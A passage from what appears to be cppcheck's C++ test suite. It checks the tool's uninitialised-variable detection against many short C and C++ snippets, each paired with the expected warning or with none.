{\\n\" // #3060 (initialization through operator<<)\n \" int *p;\\n\"\n \" arc << p;\\n\" // <- TODO initialization?\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n // #4320\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" a << 1;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #9750\n valueFlowUninit(\"struct S {\\n\"\n \" int one;\\n\"\n \" int two;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void test(std::istringstream& in) {\\n\"\n \" S p;\\n\"\n \" in >> p.one >> p.two;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #9417\n \"void f() {\\n\"\n \" S s;\\n\"\n \" return s(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a() {\\n\" // asm\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void a()\\n\"\n \"{\\n\"\n \" int x[10];\\n\"\n \" struct xyz xyz1 = { .x = x };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo()\\n\"\n \"{\\n\"\n \" char *buf = malloc(100);\\n\"\n \" struct ABC *abc = buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"class Fred {\\n\"\n \"public:\\n\"\n \" FILE *f;\\n\"\n \" ~Fred();\\n\"\n \"}\\n\"\n \"Fred::~Fred()\\n\"\n \"{\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" ab(sizeof(xyz), &c);\\n\"\n \" if (c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f()\\n\"\n \"{\\n\"\n \" int c;\\n\"\n \" a = (f2(&c));\\n\"\n \" c++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // goto/setjmp/longjmp..\n valueFlowUninit(\"void foo(int x)\\n\"\n \"{\\n\"\n \" long b;\\n\"\n \" if (g()) {\\n\"\n \" b =2;\\n\"\n \" goto found;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return;\\n\"\n \"\\n\"\n \"found:\\n\"\n \" int a = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" jmp_buf env;\\n\"\n \" int a;\\n\"\n \" int val = setjmp(env);\\n\"\n \" if(val)\\n\"\n \" return a;\\n\"\n \" a = 1;\\n\"\n \" longjmp(env, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // range for..\n valueFlowUninit(\"void f() {\\n\"\n \" X *item;\\n\"\n \" for (item: itemList) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"X f() {\\n\"\n \" if (!itemList.empty()) {\\n\"\n \" X* item;\\n\"\n \" for(item: itemList) {}\\n\"\n \" return *item;\\n\"\n \" }\\n\"\n \" return X{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // macro_for..\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" int retval;\\n\"\n \" if (condition) {\\n\"\n \" for12(1,2) { }\\n\"\n \" retval = 1;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" retval = 2;\\n\"\n \" return retval;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void foo(struct qb_list_head *list) {\\n\"\n \" struct qb_list_head *iter;\\n\"\n \" qb_list_for_each(iter, list) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void json_parse_nat_type_flags(json_t *root) {\\n\"\n \" int index;\\n\"\n \" json_array_foreach(root, index, value) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" goto exit;\\n\"\n \" i++;\\n\"\n \"exit:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo() {\\n\"\n \" int x,y=0;\\n\"\n \"again:\\n\"\n \" if (y) return x;\\n\"\n \" x = a;\\n\"\n \" y = 1;\\n\"\n \" goto again;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4040 - False positive\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int iter;\\n\"\n \" {\\n\"\n \" union\\n\"\n \" {\\n\"\n \" int asInt;\\n\"\n \" double asDouble;\\n\"\n \" };\\n\"\n \"\\n\"\n \" iter = x;\\n\"\n \" }\\n\"\n \" return 1 + iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // C++11 style initialization\n valueFlowUninit(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" int j{ i };\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5646\n valueFlowUninit(\"float foo() {\\n\"\n \" float source[2] = {3.1, 3.1};\\n\"\n \" float (*sink)[2] = &source;\\n\"\n \" return (*sink)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #8755\n valueFlowUninit(\"void f(int b) {\\n\"\n \" int a;\\n\"\n \" if (b == 10)\\n\"\n \" a = 1;\\n\"\n \" if (b == 13)\\n\"\n \" a = 1;\\n\"\n \" if (b == 'x') {}\\n\"\n \" if (a) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Uninitialized variable: a\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void h() {\\n\"\n \" int i;\\n\"\n \" int* v = &i;\\n\"\n \" sscanf(\\\"0\\\", \\\"%d\\\", v);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void test(int p) {\\n\"\n \" int f;\\n\"\n \" if (p > 0)\\n\"\n \" f = 0;\\n\"\n \" if (p > 1)\\n\"\n \" f += 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"unsigned char get();\\n\"\n \"char f() {\\n\"\n \" unsigned char c;\\n\"\n \" do {\\n\"\n \" c = get();\\n\"\n \" } while (isalpha(c) == 0);\\n\"\n \" return static_cast(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" char value;\\n\"\n \" for(i = 0; i < 1; i++) {\\n\"\n \" if(x > 1)\\n\"\n \" value = 0;\\n\"\n \" }\\n\"\n \" printf(\\\"\\\", value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:13] -> [test.cpp:9:16]: (warning) Uninitialized variable: value [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" char value;\\n\"\n \" for(i = 0; i < 1; i++) {\\n\"\n \" if(x > 1)\\n\"\n \" value = 0;\\n\"\n \" else\\n\"\n \" value = 1;\\n\"\n \" }\\n\"\n \" printf(\\\"\\\", value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function pointers\n valueFlowUninit(\"int f (const struct FileFuncDefs *ffd) {\\n\" // #10279\n \" int c;\\n\"\n \" (*ffd->zread)(&c, 1);\\n\"\n \" return c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo(unsigned int code) {\\n\" // #10279\n \" int res;\\n\\n\"\n \" (* (utility_table[code])) (&res);\\n\"\n \" return (res);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct Archive {\\n\"\n \" bool isNull;\\n\"\n \" friend void operator&(const Archive &, bool &isNull);\\n\"\n \"};\\n\"\n \"void load(Archive& ar) {\\n\"\n \" bool isNull;\\n\"\n \" ar & isNull;\\n\"\n \" if (!isNull) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10119\n valueFlowUninit(\"struct Foo {\\n\"\n \" int i{};\\n\"\n \" static const float cf;\\n\"\n \"};\\n\"\n \"const float Foo::cf = 0.1f;\\n\"\n \"int bar() {\\n\"\n \" Foo f;\\n\"\n \" return f.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10326\n valueFlowUninit(\"void foo() {\\n\"\n \" int cnt;\\n\"\n \" do {\\n\"\n \" cnt = 32 ;\\n\"\n \" }\\n\"\n \" while ( 0 ) ;\\n\"\n \" if (cnt != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10327 - avoid extra warnings for uninitialized variable\n valueFlowUninit(\"void dowork( int me ) {\\n\"\n \" if ( me == 0 ) {}\\n\" // <- not uninitialized\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" int me;\\n\"\n \" dowork(me);\\n\" // <- me is uninitialized\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (error) Uninitialized variable: me [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int foo() {\\n\"\n \" int x;\\n\"\n \" int a = x;\\n\" // <- x is uninitialized\n \" return a;\\n\" // <- a has been initialized\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // #10468\n valueFlowUninit(\"uint32_t foo(uint32_t in) {\\n\"\n \" uint32_t out, mask = 0x7F;\\n\"\n \" while (mask ^ 0x7FFFFFFF)\\n\"\n \" out = in & ~mask;\\n\"\n \" return out;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6597\n valueFlowUninit(\"int f(int b) {\\n\"\n \" int a;\\n\"\n \" if (!b)\\n\"\n \" a = 1;\\n\"\n \" if (b)\\n\"\n \" return a;\\n\"\n \" else\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:6:16]: (warning) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #9772\n valueFlowUninit(\"int func(void) {\\n\"\n \" int rez;\\n\"\n \" struct sccb* ccb;\\n\"\n \" do {\\n\"\n \" if ((ccb = calloc(1, sizeof(*ccb))) == NULL) {\\n\"\n \" rez = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" rez = 0;\\n\"\n \" } while (0);\\n\"\n \" if (rez != 0)\\n\"\n \" free(ccb);\\n\"\n \" return rez;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10553\n valueFlowUninit(\"struct CharDataOnly {\\n\"\n \" char data[100];\\n\"\n \"};\\n\"\n \"CharDataOnly f() {\\n\"\n \" CharDataOnly testData;\\n\"\n \" strcpy(testData.data, \\\"string smaller than size\\\");\\n\"\n \" return testData;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10089\n valueFlowUninit(\"typedef union {\\n\"\n \" struct { int x; };\\n\"\n \" int v[1];\\n\"\n \"} U;\\n\"\n \"void init(int* d) {\\n\"\n \" *d = 42;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" U u;\\n\"\n \" init(u.v);\\n\"\n \" printf(\\\"%d\\\\n\\\", u.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10280\n valueFlowUninit(\"union U {\\n\"\n \" char c[2];\\n\"\n \" uint16_t u16;\\n\"\n \"};\\n\"\n \"uint16_t f(std::istream& is) {\\n\"\n \" U u;\\n\"\n \" is.read(u.c, 2);\\n\"\n \" return u.u16;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" char src, dest;\\n\"\n \" std::memcpy(&dest, &src, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Uninitialized variable: &src [uninitvar]\\n\", errout_str());\n\n // #10988\n valueFlowUninit(\"void f(const void* ptr, bool* result) {\\n\"\n \" int dummy;\\n\"\n \" *result = (&dummy < ptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A* p = &a;\\n\"\n \" p->x = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void g(const int&);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(a.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: a.x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void g(const int&);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A* p = &a;\\n\"\n \" g(p->x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Uninitialized variable: p->x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #11006\n valueFlowUninit(\"int g(int);\\n\"\n \"void f() {\\n\"\n \" int received[NSIG];\\n\"\n \" for (int sig = 0; sig < NSIG; sig++)\\n\"\n \" received[sig] = g(sig);\\n\"\n \" for (int sig = 0; sig < NSIG; sig++)\\n\"\n \" if (received[sig]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15] -> [test.cpp:1:28]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n // #11412\n valueFlowUninit(\"void f(int n) {\\n\"\n \"\tshort* p;\\n\"\n \"\tif (n) {\\n\"\n \"\t\tp = g(n);\\n\"\n \"\t}\\n\"\n \"\tfor (int i = 0; i < n; i++)\\n\"\n \"\t\t(void)p[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11492\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" try {\\n\"\n \" i = 0;\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" if (i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11624\n valueFlowUninit(\"const int N = 2;\\n\"\n \"void g(int a[N]) {\\n\"\n \" for (int i = 0; i < N; ++i)\\n\"\n \" a[i] = 1;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int a[N];\\n\"\n \" g(a);\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11673\n valueFlowUninit(\"void f() {\\n\"\n \" bool b;\\n\"\n \" auto g = [&b]() {\\n\"\n \" b = true;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6619\n valueFlowUninit(\"void f() {\\n\"\n \" int nok, i;\\n\"\n \" for (i = 1; i < 5; i++) {\\n\"\n \" if (i == 8)\\n\"\n \" nok = 8;\\n\"\n \" }\\n\"\n \" printf(\\\"nok = %d\\\\n\\\", nok);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (error) Uninitialized variable: nok [uninitvar]\\n\", errout_str());\n\n // #7475\n valueFlowUninit(\"struct S {\\n\"\n \" int a, b, c;\\n\"\n \"} typedef s_t;\\n\"\n \"void f() {\\n\"\n \" s_t s;\\n\"\n \" printf(\\\"%d\\\", s.a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (error) Uninitialized variable: s.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(char* src) {\\n\" // #11608\n \" char envar[64], *cp, c;\\n\"\n \" for (src += 2, cp = envar; (c = *src) != '\\\\0'; src++)\\n\"\n \" *cp++ = c;\\n\"\n \" if (cp != envar)\\n\"\n \" if ((cp = getenv(envar)) != NULL) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11459\n valueFlowUninit(\"struct S {\\n\"\n \" enum E { N = 3 };\\n\"\n \" static const int A[N];\\n\"\n \" static void f();\\n\"\n \"};\\n\"\n \"const int S::A[N] = { 0, 1, 2 };\\n\"\n \"void S::f() {\\n\"\n \" int tmp[N];\\n\"\n \" for (int i = 0; i < N; i++)\\n\"\n \" tmp[i] = 0;\\n\"\n \" if (tmp[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11055\n valueFlowUninit(\"void g(int*);\\n\"\n \"void f(bool b) {\\n\"\n \" int i;\\n\"\n \" int* p = b ? &i : nullptr;\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct T {};\\n\" // #11075\n \"struct S {\\n\"\n \" int n;\\n\"\n \" struct T t[10];\\n\"\n \"};\\n\"\n \"void f(struct S* s, char** tokens) {\\n\"\n \" struct T t[10];\\n\"\n \" int n = 0;\\n\"\n \" for (int i = 0; i < s->n; i++)\\n\"\n \" if (tokens[i])\\n\"\n \" t[n++] = s->t[i];\\n\"\n \" for (int i = 0; i < n; i++)\\n\"\n \" t[i];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"bool g();\\n\"\n \"void f() {\\n\"\n \" int a[10];\\n\"\n \" int idx = 0;\\n\"\n \" if (g())\\n\"\n \" a[idx++] = 1;\\n\"\n \" for (int i = 0; i < idx; i++)\\n\"\n \" (void)a[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int *p = 0 ? 0 : &x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void g() {\\n\"\n \" int y;\\n\"\n \" int *q = 1 ? &y : 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(std::stringstream& ss) {\\n\" // #11805\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" ss >> *p;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" int& r = *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(std::stringstream& ss) {\\n\" // #11805\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" ss >> *p;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" int& r = *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S1 { char a[10]; };\\n\" // #11804\n \"struct S2 { struct S1 s1; };\\n\"\n \"void init(char* c);\\n\"\n \"void f() {\\n\"\n \" struct S2 s2;\\n\"\n \" init(s2.s1.a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int i; };\\n\" // #11731\n \"void f(const S*& p);\\n\"\n \"int g() {\\n\"\n \" const S* s;\\n\"\n \" f(s);\\n\"\n \" return s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int i) {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" return i >> *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Uninitialized variable: *p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int& x) {\\n\"\n \" int i;\\n\"\n \" x = i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #11890\n \" int x;\\n\"\n \" int* a[] = { &x };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11992\n valueFlowUninit(\"void foo(const int &x) {\\n\"\n \" if(x==42) {;}\\n\"\n \"}\\n\"\n \"void test(void) {\\n\"\n \" int t;\\n\"\n \" int &p = t;\\n\"\n \" int &s = p;\\n\"\n \" int &q = s;\\n\"\n \" foo(q);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (error) Uninitialized variable: q [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int g();\\n\" // #12082\n \"void f() {\\n\"\n \" int a[1], b[1];\\n\"\n \" while (a[0] = g()) {}\\n\"\n \" if ((b[0] = g()) == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(const char *x, char *y);\\n\" // #4527\n \"void g(char* b) {\\n\"\n \" char a[1000];\\n\"\n \" f(a, b);\\n\"\n \" printf(\\\"%s\\\", a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void usage(const char *);\\n\" // #10330\n \"int main(int argc, char* argv[]) {\\n\"\n \" int user = 0;\\n\"\n \" struct passwd* pwd;\\n\"\n \" while (1) {\\n\"\n \" int c = getc();\\n\"\n \" if (c == -1)\\n\"\n \" break;\\n\"\n \" switch (c) {\\n\"\n \" case 'u': user = 123; break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (argc == 1)\\n\"\n \" usage(argv[0]);\\n\"\n \" if (user)\\n\"\n \" pwd = getpwnam(user);\\n\"\n \" if (pwd == NULL) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:9] -> [test.cpp:17:9]: (warning) Uninitialized variable: pwd [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"size_t Read(unsigned char* buffer, size_t len);\\n\" // #11540\n \"void f() {\\n\"\n \" const int N = 100;\\n\"\n \" uint8_t data[N];\\n\"\n \" size_t data_size = 0;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" if (!data_size)\\n\"\n \" data_size = Read(data, N);\\n\"\n \" if (!data_size)\\n\"\n \" return;\\n\"\n \" if (data[0] == 0x47) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12033\n valueFlowUninit(\"void g(const char*p);\\n\"\n \"void f() {\\n\"\n \" char buf[10];\\n\"\n \" g(buf);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: buf [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #12288\n \" char buf[100];\\n\"\n \" char* p = new (buf) char[100];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12355\n valueFlowUninit(\"int f() {\\n\"\n \" const int x[10](1, 2);\\n\"\n \" if (x[0] == 1) {}\\n\"\n \" return x[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(bool* p) {\\n\" // #12287\n \" if (p)\\n\"\n \" *p = true; \\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool b;\\n\"\n \" f(&b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #12394\n \"int f() {\\n\"\n \" struct S s[1];\\n\"\n \" s->x = 0;\\n\"\n \" return s[0].x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int* p; };\\n\" // #12473\n \"void f() {\\n\"\n \" struct S s;\\n\"\n \" s.p[0] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: s.p [uninitvar]\\n\", errout_str());\n\n // #12460\n valueFlowUninit(\"typedef struct {\\n\"\n \" int a;\\n\"\n \"} st;\\n\"\n \"void foo(int* p, bool success) {\\n\"\n \" st myst;\\n\"\n \" if (success == 1) {\\n\"\n \" myst.a = 5;\\n\"\n \" }\\n\"\n \" if ((success == 1) && (myst.a != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12606\n valueFlowUninit(\"void f(int& r) { if (r) {} }\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:1:22]: (warning) Uninitialized variable: r [uninitvar]\\n\", errout_str());\n\n // #12197\n valueFlowUninit(\"void f() {\\n\"\n \" char a[N];\\n\"\n \" for (int i = 0; i < N; i++)\\n\"\n \" a[i] = 1;\\n\"\n \" const int* p = a;\\n\"\n \" for (int i = 0; i < N; i++) {\\n\"\n \" if (p[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12247\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10], *p = &a[0];\\n\"\n \" p = getenv(\\\"abc\\\");\\n\"\n \" printf(\\\"%\\\", p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(char *q) {\\n\"\n \" char a[1];\\n\"\n \" char *p = a;\\n\"\n \" p = q;\\n\"\n \" printf(\\\"%s\\\", p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"std::string f() {\\n\" // #12922\n \" std::string a[2];\\n\"\n \" std::array b;\\n\"\n \" return a[1] + b.at(1);\\n\" // don't warn\n \"}\\n\"\n \"struct S { int i; };\\n\"\n \"struct T { int i = 0; };\\n\"\n \"int g() {\\n\"\n \" std::array a;\\n\"\n \" std::array b;\\n\"\n \" std::array c;\\n\" // don't warn\n \" return a.at(1) + b.at(1).i + c.at(1).i;\\n\"\n \"}\\n\"\n \"int h() {\\n\"\n \" std::array a;\\n\"\n \" return a[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:12]: (error) Uninitialized variable: a [uninitvar]\\n\"\n \"[test.cpp:12:22]: (error) Uninitialized variable: b [uninitvar]\\n\"\n \"[test.cpp:16:12]: (error) Uninitialized variable: a [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // # 12932\n \" std::array a;\\n\"\n \" if (a.begin() == a.end()) {}\\n\"\n \" std::array b;\\n\"\n \" auto it = b.begin();\\n\"\n \" *it = 0;\\n\"\n \" std::array c;\\n\"\n \" return c.front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error) Uninitialized variable: c [uninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninitBreak() { // Do not show duplicate warnings about the same uninitialized value\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void copy_wcs(wcsstruct *wcsin) {\\n\"\n \" wcsstruct *x;\\n\"\n \" memcpy(wcsin, x, sizeof(wcsstruct));\\n\" // <- warning\n \" x->wcsprm = NULL;\\n\" // <- no warning\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:19]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void copy_wcs(wcsstruct *wcsin) {\\n\"\n \" wcsstruct *x;\\n\"\n \" sizeof(x);\\n\"\n \" x->wcsprm = NULL;\\n\" // <- Warn\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void init_wcs(wcsstruct *x) { if (x->wcsprm != NULL); }\\n\" // <- no warning\n \"\\n\"\n \"void copy_wcs() {\\n\"\n \" wcsstruct *x;\\n\"\n \" x->wcsprm = NULL;\\n\" // <- warn here\n \" init_wcs(x);\\n\" // <- no warning\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n }\n\n void uninitvar_ipa() {\n // #8825\n valueFlowUninit(\"typedef struct {\\n\"\n \" int flags;\\n\"\n \"} someType_t;\\n\"\n \"void bar(const someType_t * const p) {\\n\"\n \" if( (p->flags & 